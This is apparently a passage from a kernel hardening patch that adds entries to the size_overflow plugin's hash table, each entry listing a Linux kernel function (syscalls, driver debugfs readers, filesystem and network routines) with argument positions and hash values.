++_001518_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _001518_hash NULL
++_001519_hash snd_pcm_oss_read1 3 63771 _001519_hash NULL
++_001520_hash snd_rawmidi_kernel_read1 4 36740 _001520_hash NULL
++_001521_hash snd_rme9652_capture_copy 5 10287 _001521_hash NULL
++_001522_hash srp_target_alloc 3 37288 _001522_hash NULL
++_001523_hash stk_allocate_buffers 2 16291 _001523_hash NULL
++_001524_hash store_ifalias 4 35088 _001524_hash NULL
++_001525_hash store_msg 3 56417 _001525_hash NULL
++_001526_hash str_to_user 2 11411 _001526_hash NULL
++_001527_hash subbuf_read_actor 3 2071 _001527_hash NULL
++_001528_hash sys_fgetxattr 4 25166 _001528_hash NULL
++_001529_hash sys_gethostname 2 49698 _001529_hash NULL
++_001530_hash sys_getxattr 4 37418 _001530_hash NULL
++_001531_hash sys_kexec_load 2 14222 _001531_hash NULL
++_001532_hash sys_msgsnd 3 44537 _001532_hash &_000129_hash
++_001533_hash sys_process_vm_readv 3-5 19090 _003125_hash NULL nohasharray
++_001535_hash sys_process_vm_writev 3-5 4928 _001535_hash NULL
++_001537_hash sys_sched_getaffinity 2 60033 _001537_hash NULL
++_001538_hash sys_setsockopt 5 35320 _001538_hash NULL
++_001539_hash t3_init_l2t 1 8261 _001539_hash NULL
++_001540_hash team_options_register 3 20091 _001540_hash NULL
++_001541_hash tipc_send2name 6 16809 _001541_hash NULL
++_001542_hash tipc_send2port 5 63935 _001542_hash NULL
++_001543_hash tipc_send 4 51238 _001543_hash NULL
++_001544_hash tm6000_i2c_recv_regs16 5 2949 _001544_hash NULL
++_001545_hash tm6000_i2c_recv_regs 5 46215 _001545_hash NULL
++_001546_hash tm6000_i2c_send_regs 5 20250 _001546_hash NULL
++_001547_hash tnode_new 3 44757 _003828_hash NULL nohasharray
++_001548_hash tomoyo_read_self 3 33539 _001548_hash NULL
++_001549_hash tomoyo_update_domain 2 5498 _001549_hash NULL
++_001550_hash tomoyo_update_policy 2 40458 _001550_hash NULL
++_001551_hash tpm_read 3 50344 _001551_hash NULL
++_001552_hash TSS_rawhmac 3 17486 _001552_hash NULL
++_001553_hash tt3650_ci_msg 4 57219 _001553_hash NULL
++_001554_hash tun_get_user 3 33178 _001554_hash NULL
++_001555_hash ubi_dbg_dump_flash 4 3870 _001555_hash NULL
++_001556_hash ubi_io_write 4-5 15870 _001556_hash &_000954_hash
++_001558_hash uio_read 3 49300 _001558_hash NULL
++_001559_hash unix_seqpacket_sendmsg 4 27893 _001559_hash NULL
++_001560_hash unlink1 3 63059 _001560_hash NULL
++_001562_hash usb_allocate_stream_buffers 3 8964 _001562_hash NULL
++_001563_hash usbdev_read 3 45114 _001563_hash NULL
++_001564_hash usblp_read 3 57342 _003306_hash NULL nohasharray
++_001565_hash usbtmc_read 3 32377 _001565_hash NULL
++_001566_hash usbvision_v4l2_read 3 34386 _001566_hash NULL
++_001567_hash _usb_writeN_sync 4 31682 _001567_hash NULL
++_001568_hash user_read 3 51881 _001568_hash NULL
++_001569_hash v4l_stk_read 3 39672 _001569_hash NULL
++_001570_hash vcs_read 3 8017 _001570_hash NULL
++_001571_hash vdma_mem_alloc 1 6171 _001571_hash NULL
++_001572_hash venus_create 4 20555 _001572_hash NULL
++_001573_hash venus_link 5 32165 _001573_hash NULL
++_001574_hash venus_lookup 4 8121 _001574_hash NULL
++_001575_hash venus_mkdir 4 8967 _001575_hash NULL
++_001576_hash venus_remove 4 59781 _001576_hash NULL
++_001577_hash venus_rename 4-5 17707 _003279_hash NULL nohasharray
++_001579_hash venus_rmdir 4 45564 _001579_hash NULL
++_001580_hash venus_symlink 4-6 23570 _001580_hash NULL
++_001582_hash vfs_readlink 3 54368 _001582_hash NULL
++_001583_hash vfs_readv 3 38011 _001583_hash NULL
++_001584_hash vfs_writev 3 25278 _001584_hash NULL
++_001585_hash vga_arb_read 3 4886 _001585_hash NULL
++_001586_hash vhci_put_user 4 12604 _001586_hash NULL
++_001587_hash vhost_add_used_n 3 10760 _001587_hash NULL
++_001588_hash __videobuf_copy_to_user 4 15423 _001588_hash NULL
++_001589_hash videobuf_pages_to_sg 2 3708 _001589_hash NULL
++_001590_hash videobuf_vmalloc_to_sg 2 4548 _001590_hash NULL
++_001591_hash virtnet_send_command 5-6 61993 _001591_hash NULL
++_001593_hash vmbus_establish_gpadl 3 4495 _001593_hash NULL
++_001594_hash vol_cdev_read 3 8968 _001594_hash &_001501_hash
++_001595_hash w9966_v4l_read 3 31148 _001595_hash NULL
++_001596_hash wdm_read 3 6549 _001596_hash NULL
++_001597_hash wusb_prf 7 54261 _001597_hash &_000063_hash
++_001598_hash xdi_copy_to_user 4 48900 _001598_hash NULL
++_001599_hash xfs_buf_get_uncached 2 51477 _001599_hash NULL
++_001600_hash xfs_efd_init 3 5463 _001600_hash NULL
++_001601_hash xfs_efi_init 2 5476 _001601_hash NULL
++_001602_hash xfs_iext_realloc_direct 2 20521 _001602_hash NULL
++_001603_hash xfs_iext_realloc_indirect 2 59211 _001603_hash NULL
++_001604_hash xfs_inumbers_fmt 3 12817 _001604_hash NULL
++_001605_hash xlog_recover_add_to_cont_trans 4 44102 _001605_hash NULL
++_001606_hash xz_dec_lzma2_create 2 36353 _002745_hash NULL nohasharray
++_001607_hash _zd_iowrite32v_locked 3 44725 _001607_hash NULL
++_001608_hash aat2870_reg_read_file 3 12221 _001608_hash NULL
++_001609_hash add_sctp_bind_addr 3 12269 _001609_hash NULL
++_001610_hash aes_decrypt_fail_read 3 54815 _001610_hash NULL
++_001611_hash aes_decrypt_interrupt_read 3 19910 _001611_hash NULL
++_001612_hash aes_decrypt_packets_read 3 10155 _001612_hash NULL
++_001613_hash aes_encrypt_fail_read 3 32562 _001613_hash NULL
++_001614_hash aes_encrypt_interrupt_read 3 39919 _001614_hash NULL
++_001615_hash aes_encrypt_packets_read 3 48666 _001615_hash NULL
++_001616_hash afs_cell_lookup 2 8482 _001616_hash NULL
++_001617_hash agp_allocate_memory 2 58761 _001617_hash NULL
++_001618_hash __alloc_bootmem 1 31498 _001618_hash NULL
++_001619_hash __alloc_bootmem_low 1 43423 _003150_hash NULL nohasharray
++_001620_hash __alloc_bootmem_node_nopanic 2 6432 _001620_hash NULL
++_001621_hash alloc_cc770dev 1 48186 _001621_hash NULL
++_001622_hash __alloc_ei_netdev 1 29338 _001622_hash NULL
++_001623_hash __alloc_eip_netdev 1 51549 _001623_hash NULL
++_001624_hash alloc_libipw 1 22708 _001624_hash NULL
++_001625_hash alloc_pg_vec 2 8533 _001625_hash NULL
++_001626_hash alloc_sja1000dev 1 17868 _001626_hash NULL
++_001627_hash alloc_targets 2 8074 _003536_hash NULL nohasharray
++_001630_hash ath6kl_disconnect_timeout_read 3 3650 _001630_hash NULL
++_001631_hash ath6kl_endpoint_stats_read 3 41554 _001631_hash NULL
++_001632_hash ath6kl_fwlog_mask_read 3 2050 _001632_hash NULL
++_001633_hash ath6kl_keepalive_read 3 44303 _001633_hash NULL
++_001634_hash ath6kl_listen_int_read 3 10355 _001634_hash NULL
++_001635_hash ath6kl_lrssi_roam_read 3 61022 _001635_hash NULL
++_001636_hash ath6kl_regdump_read 3 14393 _001636_hash NULL
++_001637_hash ath6kl_regread_read 3 25884 _001637_hash NULL
++_001638_hash ath6kl_regwrite_read 3 48747 _001638_hash NULL
++_001639_hash ath6kl_roam_table_read 3 26166 _001639_hash NULL
++_001640_hash ath9k_debugfs_read_buf 3 25316 _001640_hash NULL
++_001641_hash atk_debugfs_ggrp_read 3 29522 _001641_hash NULL
++_001642_hash b43_debugfs_read 3 24425 _001642_hash NULL
++_001643_hash b43legacy_debugfs_read 3 2473 _001643_hash NULL
++_001644_hash bcm_recvmsg 4 43992 _001644_hash NULL
++_001645_hash bfad_debugfs_read 3 13119 _001645_hash NULL
++_001646_hash bfad_debugfs_read_regrd 3 57830 _001646_hash NULL
++_001647_hash blk_init_tags 1 30592 _001647_hash NULL
++_001648_hash blk_queue_init_tags 2 44355 _002686_hash NULL nohasharray
++_001649_hash blk_rq_map_kern 4 47004 _001649_hash NULL
++_001650_hash bm_entry_read 3 10976 _001650_hash NULL
++_001651_hash bm_status_read 3 19583 _001651_hash NULL
++_001652_hash bnad_debugfs_read 3 50665 _001652_hash NULL
++_001653_hash bnad_debugfs_read_regrd 3 51308 _001653_hash NULL
++_001654_hash btmrvl_curpsmode_read 3 46939 _001654_hash NULL
++_001655_hash btmrvl_gpiogap_read 3 4718 _001655_hash NULL
++_001656_hash btmrvl_hscfgcmd_read 3 56303 _001656_hash NULL
++_001657_hash btmrvl_hscmd_read 3 1614 _001657_hash NULL
++_001658_hash btmrvl_hsmode_read 3 1647 _001658_hash NULL
++_001659_hash btmrvl_hsstate_read 3 920 _001659_hash NULL
++_001660_hash btmrvl_pscmd_read 3 24308 _001660_hash NULL
++_001661_hash btmrvl_psmode_read 3 22395 _001661_hash NULL
++_001662_hash btmrvl_psstate_read 3 50683 _001662_hash NULL
++_001663_hash btmrvl_txdnldready_read 3 413 _001663_hash NULL
++_001664_hash btrfs_add_link 5 9973 _001664_hash NULL
++_001665_hash btrfs_discard_extent 2 38547 _001665_hash NULL
++_001666_hash btrfs_find_create_tree_block 3 55812 _001666_hash NULL
++_001667_hash btrfsic_map_block 2 56751 _001667_hash NULL
++_001668_hash caif_stream_recvmsg 4 13173 _001668_hash NULL
++_001669_hash carl9170_alloc 1 27 _001669_hash NULL
++_001670_hash carl9170_debugfs_read 3 47738 _001670_hash NULL
++_001671_hash cgroup_read_s64 5 19570 _001671_hash NULL
++_001672_hash cgroup_read_u64 5 45532 _001672_hash NULL
++_001673_hash channel_type_read 3 47308 _001673_hash NULL
++_001674_hash codec_list_read_file 3 24910 _001674_hash NULL
++_001675_hash configfs_read_file 3 1683 _001675_hash NULL
++_001676_hash cpuset_common_file_read 5 8800 _001676_hash NULL
++_001677_hash create_subvol 4 2347 _001677_hash NULL
++_001678_hash cx18_copy_mdl_to_user 4 45549 _001678_hash NULL
++_001679_hash dai_list_read_file 3 25421 _001679_hash NULL
++_001680_hash dapm_bias_read_file 3 64715 _001680_hash NULL
++_001681_hash dapm_widget_power_read_file 3 59950 _001754_hash NULL nohasharray
++_001684_hash dbgfs_frame 3 45917 _001684_hash NULL
++_001685_hash dbgfs_state 3 38894 _001685_hash NULL
++_001686_hash debugfs_read 3 62535 _001686_hash NULL
++_001687_hash debug_output 3 18575 _001687_hash NULL
++_001688_hash debug_read 3 19322 _001688_hash NULL
++_001689_hash dfs_file_read 3 18116 _001689_hash NULL
++_001690_hash dma_memcpy_pg_to_iovec 6 1725 _001690_hash NULL
++_001691_hash dma_memcpy_to_iovec 5 12173 _001691_hash NULL
++_001692_hash dma_rx_errors_read 3 52045 _001692_hash NULL
++_001693_hash dma_rx_requested_read 3 65354 _001693_hash NULL
++_001694_hash dma_show_regs 3 35266 _001694_hash NULL
++_001695_hash dma_tx_errors_read 3 46060 _001695_hash NULL
++_001696_hash dma_tx_requested_read 3 16110 _001775_hash NULL nohasharray
++_001697_hash dm_exception_table_init 2 39645 _001697_hash &_001103_hash
++_001698_hash dn_recvmsg 4 17213 _001698_hash NULL
++_001699_hash dns_resolver_read 3 54658 _001699_hash NULL
++_001700_hash do_msgrcv 4 5590 _001700_hash NULL
++_001701_hash driver_state_read 3 17194 _001701_hash &_001394_hash
++_001702_hash dvb_demux_do_ioctl 3 34871 _001702_hash NULL
++_001703_hash dvb_dmxdev_buffer_read 4 20682 _001703_hash NULL
++_001704_hash dvb_dvr_do_ioctl 3 43355 _001704_hash NULL
++_001705_hash econet_recvmsg 4 40978 _001705_hash NULL
++_001706_hash event_calibration_read 3 21083 _001706_hash NULL
++_001707_hash event_heart_beat_read 3 48961 _001707_hash NULL
++_001708_hash event_oom_late_read 3 61175 _001708_hash &_001014_hash
++_001709_hash event_phy_transmit_error_read 3 10471 _001709_hash NULL
++_001710_hash event_rx_mem_empty_read 3 40363 _001710_hash NULL
++_001711_hash event_rx_mismatch_read 3 38518 _001711_hash NULL
++_001712_hash event_rx_pool_read 3 25792 _001712_hash NULL
++_001713_hash event_tx_stuck_read 3 19305 _001713_hash NULL
++_001714_hash excessive_retries_read 3 60425 _001714_hash NULL
++_001715_hash fallback_on_nodma_alloc 2 35332 _001715_hash NULL
++_001716_hash filter_read 3 61692 _001716_hash NULL
++_001717_hash format_devstat_counter 3 32550 _001717_hash NULL
++_001718_hash fragmentation_threshold_read 3 61718 _001718_hash NULL
++_001719_hash fuse_conn_limit_read 3 20084 _001719_hash NULL
++_001720_hash fuse_conn_waiting_read 3 49762 _001720_hash NULL
++_001721_hash generic_readlink 3 32654 _001721_hash NULL
++_001722_hash gpio_power_read 3 36059 _001722_hash NULL
++_001723_hash hash_recvmsg 4 50924 _001723_hash NULL
++_001724_hash ht40allow_map_read 3 55209 _002830_hash NULL nohasharray
++_001725_hash hwflags_read 3 52318 _001725_hash NULL
++_001726_hash hysdn_conf_read 3 42324 _003205_hash NULL nohasharray
++_001727_hash i2400m_rx_stats_read 3 57706 _001727_hash NULL
++_001728_hash i2400m_tx_stats_read 3 28527 _001728_hash NULL
++_001729_hash idmouse_read 3 63374 _001729_hash NULL
++_001730_hash ieee80211_if_read 3 6785 _001730_hash NULL
++_001731_hash ieee80211_rx_bss_info 3 61630 _001731_hash NULL
++_001732_hash ikconfig_read_current 3 1658 _001732_hash NULL
++_001733_hash il3945_sta_dbgfs_stats_table_read 3 48802 _001733_hash NULL
++_001734_hash il3945_ucode_general_stats_read 3 46111 _001734_hash NULL
++_001735_hash il3945_ucode_rx_stats_read 3 3048 _001735_hash NULL
++_001736_hash il3945_ucode_tx_stats_read 3 36016 _001736_hash NULL
++_001737_hash il4965_rs_sta_dbgfs_rate_scale_data_read 3 37792 _001737_hash NULL
++_001738_hash il4965_rs_sta_dbgfs_scale_table_read 3 38564 _001738_hash NULL
++_001739_hash il4965_rs_sta_dbgfs_stats_table_read 3 49206 _001739_hash NULL
++_001740_hash il4965_ucode_general_stats_read 3 56277 _001740_hash NULL
++_001741_hash il4965_ucode_rx_stats_read 3 61948 _001741_hash NULL
++_001742_hash il4965_ucode_tx_stats_read 3 12064 _001742_hash NULL
++_001743_hash il_dbgfs_chain_noise_read 3 38044 _001743_hash NULL
++_001744_hash il_dbgfs_channels_read 3 25005 _001744_hash NULL
++_001745_hash il_dbgfs_disable_ht40_read 3 42386 _001745_hash NULL
++_001746_hash il_dbgfs_fh_reg_read 3 40993 _001746_hash NULL
++_001747_hash il_dbgfs_force_reset_read 3 57517 _001747_hash NULL
++_001748_hash il_dbgfs_interrupt_read 3 3351 _001748_hash NULL
++_001749_hash il_dbgfs_missed_beacon_read 3 59956 _001749_hash NULL
++_001750_hash il_dbgfs_nvm_read 3 12288 _001750_hash NULL
++_001751_hash il_dbgfs_power_save_status_read 3 43165 _001751_hash NULL
++_001752_hash il_dbgfs_qos_read 3 33615 _001752_hash NULL
++_001753_hash il_dbgfs_rxon_filter_flags_read 3 19281 _001753_hash NULL
++_001754_hash il_dbgfs_rxon_flags_read 3 59950 _001754_hash &_001681_hash
++_001755_hash il_dbgfs_rx_queue_read 3 11221 _001755_hash NULL
++_001756_hash il_dbgfs_rx_stats_read 3 15243 _001756_hash NULL
++_001757_hash il_dbgfs_sensitivity_read 3 2370 _001757_hash NULL
++_001758_hash il_dbgfs_sram_read 3 62296 _001758_hash NULL
++_001759_hash il_dbgfs_stations_read 3 21532 _001759_hash NULL
++_001760_hash il_dbgfs_status_read 3 58388 _001760_hash NULL
++_001761_hash il_dbgfs_tx_queue_read 3 55668 _001761_hash NULL
++_001762_hash il_dbgfs_tx_stats_read 3 32913 _001762_hash NULL
++_001763_hash ima_show_htable_value 2 57136 _001763_hash NULL
++_001765_hash ipw_write 3 59807 _001765_hash NULL
++_001766_hash irda_recvmsg_stream 4 35280 _001766_hash NULL
++_001767_hash iscsi_tcp_conn_setup 2 16376 _001767_hash NULL
++_001768_hash isr_cmd_cmplt_read 3 53439 _001768_hash NULL
++_001769_hash isr_commands_read 3 41398 _001769_hash NULL
++_001770_hash isr_decrypt_done_read 3 49490 _001770_hash NULL
++_001771_hash isr_dma0_done_read 3 8574 _001771_hash NULL
++_001772_hash isr_dma1_done_read 3 48159 _001772_hash NULL
++_001773_hash isr_fiqs_read 3 34687 _001773_hash NULL
++_001774_hash isr_host_acknowledges_read 3 54136 _001774_hash NULL
++_001775_hash isr_hw_pm_mode_changes_read 3 16110 _001775_hash &_001696_hash
++_001776_hash isr_irqs_read 3 9181 _001776_hash NULL
++_001777_hash isr_low_rssi_read 3 64789 _001777_hash NULL
++_001778_hash isr_pci_pm_read 3 30271 _001778_hash NULL
++_001779_hash isr_rx_headers_read 3 38325 _001779_hash NULL
++_001780_hash isr_rx_mem_overflow_read 3 43025 _001780_hash NULL
++_001781_hash isr_rx_procs_read 3 31804 _001781_hash NULL
++_001782_hash isr_rx_rdys_read 3 35283 _001782_hash NULL
++_001783_hash isr_tx_exch_complete_read 3 16103 _001783_hash NULL
++_001784_hash isr_tx_procs_read 3 23084 _001784_hash NULL
++_001785_hash isr_wakeups_read 3 49607 _001785_hash NULL
++_001786_hash ivtv_read 3 57796 _001786_hash NULL
++_001787_hash iwl_dbgfs_bt_traffic_read 3 35534 _001787_hash NULL
++_001788_hash iwl_dbgfs_chain_noise_read 3 46355 _001788_hash NULL
++_001789_hash iwl_dbgfs_channels_read 3 6784 _001789_hash NULL
++_001790_hash iwl_dbgfs_current_sleep_command_read 3 2081 _001790_hash NULL
++_001791_hash iwl_dbgfs_disable_ht40_read 3 35761 _001791_hash NULL
++_001792_hash iwl_dbgfs_fh_reg_read 3 879 _001792_hash &_000393_hash
++_001793_hash iwl_dbgfs_force_reset_read 3 62628 _001793_hash NULL
++_001794_hash iwl_dbgfs_interrupt_read 3 23574 _001794_hash NULL
++_001795_hash iwl_dbgfs_log_event_read 3 2107 _001795_hash NULL
++_001796_hash iwl_dbgfs_missed_beacon_read 3 50584 _001796_hash NULL
++_001797_hash iwl_dbgfs_nvm_read 3 23845 _001797_hash NULL
++_001798_hash iwl_dbgfs_plcp_delta_read 3 55407 _001798_hash NULL
++_001799_hash iwl_dbgfs_power_save_status_read 3 54392 _001799_hash NULL
++_001800_hash iwl_dbgfs_protection_mode_read 3 13943 _001800_hash NULL
++_001801_hash iwl_dbgfs_qos_read 3 11753 _001801_hash NULL
++_001802_hash iwl_dbgfs_reply_tx_error_read 3 19205 _001802_hash NULL
++_001803_hash iwl_dbgfs_rx_handlers_read 3 18708 _001803_hash NULL
++_001804_hash iwl_dbgfs_rxon_filter_flags_read 3 28832 _001804_hash NULL
++_001805_hash iwl_dbgfs_rxon_flags_read 3 20795 _001805_hash NULL
++_001806_hash iwl_dbgfs_rx_queue_read 3 19943 _001806_hash NULL
++_001807_hash iwl_dbgfs_rx_statistics_read 3 62687 _001807_hash &_000425_hash
++_001808_hash iwl_dbgfs_sensitivity_read 3 63116 _003026_hash NULL nohasharray
++_001809_hash iwl_dbgfs_sleep_level_override_read 3 3038 _001809_hash NULL
++_001810_hash iwl_dbgfs_sram_read 3 44505 _001810_hash NULL
++_001811_hash iwl_dbgfs_stations_read 3 9309 _001811_hash NULL
++_001812_hash iwl_dbgfs_status_read 3 5171 _001812_hash NULL
++_001813_hash iwl_dbgfs_temperature_read 3 29224 _001813_hash NULL
++_001814_hash iwl_dbgfs_thermal_throttling_read 3 38779 _001814_hash NULL
++_001815_hash iwl_dbgfs_traffic_log_read 3 58870 _001815_hash NULL
++_001816_hash iwl_dbgfs_tx_queue_read 3 4635 _001816_hash NULL
++_001817_hash iwl_dbgfs_tx_statistics_read 3 314 _003437_hash NULL nohasharray
++_001818_hash iwl_dbgfs_ucode_bt_stats_read 3 42820 _001818_hash NULL
++_001819_hash iwl_dbgfs_ucode_general_stats_read 3 49199 _001819_hash NULL
++_001820_hash iwl_dbgfs_ucode_rx_stats_read 3 58023 _001820_hash NULL
++_001821_hash iwl_dbgfs_ucode_tracing_read 3 47983 _001821_hash &_000349_hash
++_001822_hash iwl_dbgfs_ucode_tx_stats_read 3 31611 _001822_hash NULL
++_001823_hash iwl_dbgfs_wowlan_sram_read 3 540 _001823_hash NULL
++_001824_hash iwm_if_alloc 1 17027 _001824_hash &_001314_hash
++_001825_hash kernel_readv 3 35617 _001825_hash NULL
++_001826_hash key_algorithm_read 3 57946 _001826_hash NULL
++_001827_hash key_icverrors_read 3 20895 _001827_hash NULL
++_001828_hash key_key_read 3 3241 _001828_hash NULL
++_001829_hash key_replays_read 3 62746 _001829_hash NULL
++_001830_hash key_rx_spec_read 3 12736 _001830_hash NULL
++_001831_hash key_tx_spec_read 3 4862 _001831_hash NULL
++_001832_hash __kfifo_to_user 3 36555 _002199_hash NULL nohasharray
++_001833_hash __kfifo_to_user_r 3 39123 _001833_hash NULL
++_001834_hash kmem_zalloc_greedy 2-3 65268 _001834_hash NULL
++_001836_hash l2cap_chan_send 3 49995 _001836_hash NULL
++_001837_hash l2cap_sar_segment_sdu 3 27701 _001837_hash NULL
++_001838_hash lbs_debugfs_read 3 30721 _001838_hash NULL
++_001839_hash lbs_dev_info 3 51023 _001839_hash NULL
++_001840_hash lbs_host_sleep_read 3 31013 _001840_hash NULL
++_001841_hash lbs_rdbbp_read 3 45805 _001841_hash NULL
++_001842_hash lbs_rdmac_read 3 418 _001842_hash NULL
++_001843_hash lbs_rdrf_read 3 41431 _001843_hash NULL
++_001844_hash lbs_sleepparams_read 3 10840 _001844_hash NULL
++_001845_hash lbs_threshold_read 5 21046 _001845_hash NULL
++_001846_hash libfc_vport_create 2 4415 _001846_hash NULL
++_001847_hash lkdtm_debugfs_read 3 45752 _001847_hash NULL
++_001848_hash llcp_sock_recvmsg 4 13556 _001848_hash NULL
++_001849_hash long_retry_limit_read 3 59766 _001849_hash NULL
++_001850_hash lpfc_debugfs_dif_err_read 3 36303 _001850_hash NULL
++_001851_hash lpfc_debugfs_read 3 16566 _001851_hash NULL
++_001852_hash lpfc_idiag_baracc_read 3 58466 _002447_hash NULL nohasharray
++_001853_hash lpfc_idiag_ctlacc_read 3 33943 _001853_hash NULL
++_001854_hash lpfc_idiag_drbacc_read 3 15948 _001854_hash NULL
++_001855_hash lpfc_idiag_extacc_read 3 48301 _001855_hash NULL
++_001856_hash lpfc_idiag_mbxacc_read 3 28061 _001856_hash NULL
++_001857_hash lpfc_idiag_pcicfg_read 3 50334 _001857_hash NULL
++_001858_hash lpfc_idiag_queacc_read 3 13950 _001858_hash NULL
++_001859_hash lpfc_idiag_queinfo_read 3 55662 _001859_hash NULL
++_001860_hash mac80211_format_buffer 2 41010 _001860_hash NULL
++_001861_hash macvtap_put_user 4 55609 _001861_hash NULL
++_001862_hash macvtap_sendmsg 4 30629 _001862_hash NULL
++_001863_hash mic_calc_failure_read 3 59700 _001863_hash NULL
++_001864_hash mic_rx_pkts_read 3 27972 _001864_hash NULL
++_001865_hash minstrel_stats_read 3 17290 _001865_hash NULL
++_001866_hash mmc_ext_csd_read 3 13205 _001866_hash NULL
++_001867_hash mon_bin_read 3 6841 _001867_hash NULL
++_001868_hash mon_stat_read 3 25238 _001868_hash NULL
++_001870_hash mqueue_read_file 3 6228 _001870_hash NULL
++_001871_hash mwifiex_debug_read 3 53074 _001871_hash NULL
++_001872_hash mwifiex_getlog_read 3 54269 _001872_hash NULL
++_001873_hash mwifiex_info_read 3 53447 _001873_hash NULL
++_001874_hash mwifiex_rdeeprom_read 3 51429 _001874_hash NULL
++_001875_hash mwifiex_regrdwr_read 3 34472 _001875_hash NULL
++_001876_hash nfsd_vfs_read 6 62605 _003003_hash NULL nohasharray
++_001877_hash nfsd_vfs_write 6 54577 _001877_hash NULL
++_001878_hash nfs_idmap_lookup_id 2 10660 _001878_hash NULL
++_001879_hash o2hb_debug_read 3 37851 _001879_hash NULL
++_001880_hash o2net_debug_read 3 52105 _001880_hash NULL
++_001881_hash ocfs2_control_read 3 56405 _001881_hash NULL
++_001882_hash ocfs2_debug_read 3 14507 _001882_hash NULL
++_001883_hash ocfs2_readlink 3 50656 _001883_hash NULL
++_001884_hash oom_adjust_read 3 25127 _001884_hash NULL
++_001885_hash oom_score_adj_read 3 39921 _002116_hash NULL nohasharray
++_001886_hash oprofilefs_str_to_user 3 42182 _001886_hash NULL
++_001887_hash oprofilefs_ulong_to_user 3 11582 _001887_hash NULL
++_001888_hash _osd_req_list_objects 6 4204 _001888_hash NULL
++_001889_hash osd_req_read_kern 5 59990 _001889_hash NULL
++_001890_hash osd_req_write_kern 5 53486 _001890_hash NULL
++_001891_hash p54_init_common 1 23850 _001891_hash NULL
++_001892_hash packet_sendmsg 4 24954 _001892_hash NULL
++_001893_hash page_readlink 3 23346 _001893_hash NULL
++_001894_hash pcf50633_write_block 3 2124 _001894_hash NULL
++_001895_hash platform_list_read_file 3 34734 _001895_hash NULL
++_001896_hash pm860x_bulk_write 3 43875 _001896_hash NULL
++_001897_hash pm_qos_power_read 3 55891 _001897_hash NULL
++_001898_hash pms_read 3 53873 _001898_hash NULL
++_001899_hash port_show_regs 3 5904 _001899_hash NULL
++_001900_hash proc_coredump_filter_read 3 39153 _001900_hash NULL
++_001901_hash proc_fdinfo_read 3 62043 _001901_hash NULL
++_001902_hash proc_info_read 3 63344 _001902_hash NULL
++_001903_hash proc_loginuid_read 3 15631 _001903_hash NULL
++_001904_hash proc_pid_attr_read 3 10173 _001904_hash NULL
++_001905_hash proc_pid_readlink 3 52186 _001905_hash NULL
++_001906_hash proc_read 3 43614 _001906_hash NULL
++_001907_hash proc_self_readlink 3 38094 _001907_hash NULL
++_001908_hash proc_sessionid_read 3 6911 _002038_hash NULL nohasharray
++_001909_hash provide_user_output 3 41105 _001909_hash NULL
++_001910_hash ps_pspoll_max_apturn_read 3 6699 _001910_hash NULL
++_001911_hash ps_pspoll_timeouts_read 3 11776 _001911_hash NULL
++_001912_hash ps_pspoll_utilization_read 3 5361 _001912_hash NULL
++_001913_hash pstore_file_read 3 57288 _001913_hash NULL
++_001914_hash ps_upsd_max_apturn_read 3 19918 _001914_hash NULL
++_001915_hash ps_upsd_max_sptime_read 3 63362 _001915_hash NULL
++_001916_hash ps_upsd_timeouts_read 3 28924 _001916_hash NULL
++_001917_hash ps_upsd_utilization_read 3 51669 _001917_hash NULL
++_001918_hash pvr2_v4l2_read 3 18006 _001918_hash NULL
++_001919_hash pwr_disable_ps_read 3 13176 _001919_hash NULL
++_001920_hash pwr_elp_enter_read 3 5324 _001920_hash NULL
++_001921_hash pwr_enable_ps_read 3 17686 _001921_hash NULL
++_001922_hash pwr_fix_tsf_ps_read 3 26627 _001922_hash NULL
++_001923_hash pwr_missing_bcns_read 3 25824 _001923_hash NULL
++_001924_hash pwr_power_save_off_read 3 18355 _001924_hash NULL
++_001925_hash pwr_ps_enter_read 3 26935 _001925_hash &_000501_hash
++_001926_hash pwr_rcvd_awake_beacons_read 3 50505 _001926_hash NULL
++_001927_hash pwr_rcvd_beacons_read 3 52836 _001927_hash NULL
++_001928_hash pwr_tx_without_ps_read 3 48423 _001928_hash NULL
++_001929_hash pwr_tx_with_ps_read 3 60851 _001929_hash NULL
++_001930_hash pwr_wake_on_host_read 3 26321 _001930_hash NULL
++_001931_hash pwr_wake_on_timer_exp_read 3 22640 _001931_hash NULL
++_001932_hash queues_read 3 24877 _001932_hash NULL
++_001933_hash raw_recvmsg 4 17277 _001933_hash NULL
++_001934_hash rcname_read 3 25919 _001934_hash NULL
++_001935_hash read_4k_modal_eeprom 3 30212 _001935_hash NULL
++_001936_hash read_9287_modal_eeprom 3 59327 _001936_hash NULL
++_001937_hash reada_find_extent 2 63486 _001937_hash NULL
++_001938_hash read_def_modal_eeprom 3 14041 _001938_hash NULL
++_001939_hash read_enabled_file_bool 3 37744 _001939_hash NULL
++_001940_hash read_file_ani 3 23161 _001940_hash NULL
++_001941_hash read_file_antenna 3 13574 _001941_hash NULL
++_001942_hash read_file_base_eeprom 3 42168 _001942_hash NULL
++_001943_hash read_file_beacon 3 32595 _001943_hash NULL
++_001944_hash read_file_blob 3 57406 _001944_hash NULL
++_001945_hash read_file_bool 3 4180 _001945_hash NULL
++_001946_hash read_file_credit_dist_stats 3 54367 _001946_hash NULL
++_001947_hash read_file_debug 3 58256 _001947_hash NULL
++_001948_hash read_file_disable_ani 3 6536 _001948_hash NULL
++_001949_hash read_file_dma 3 9530 _001949_hash NULL
++_001950_hash read_file_dump_nfcal 3 18766 _001950_hash NULL
++_001951_hash read_file_frameerrors 3 64001 _001951_hash NULL
++_001952_hash read_file_interrupt 3 61742 _001959_hash NULL nohasharray
++_001953_hash read_file_misc 3 9948 _001953_hash NULL
++_001954_hash read_file_modal_eeprom 3 39909 _001954_hash NULL
++_001955_hash read_file_queue 3 40895 _001955_hash NULL
++_001956_hash read_file_rcstat 3 22854 _001956_hash NULL
++_001957_hash read_file_recv 3 48232 _001957_hash NULL
++_001958_hash read_file_regidx 3 33370 _001958_hash NULL
++_001959_hash read_file_regval 3 61742 _001959_hash &_001952_hash
++_001960_hash read_file_reset 3 52310 _001960_hash NULL
++_001961_hash read_file_rx_chainmask 3 41605 _001961_hash NULL
++_001962_hash read_file_slot 3 50111 _001962_hash NULL
++_001963_hash read_file_stations 3 35795 _001963_hash NULL
++_001964_hash read_file_tgt_int_stats 3 20697 _001964_hash NULL
++_001965_hash read_file_tgt_rx_stats 3 33944 _001965_hash NULL
++_001966_hash read_file_tgt_stats 3 8959 _001966_hash NULL
++_001967_hash read_file_tgt_tx_stats 3 51847 _001967_hash NULL
++_001968_hash read_file_tx_chainmask 3 3829 _001968_hash NULL
++_001969_hash read_file_war_stats 3 292 _001969_hash NULL
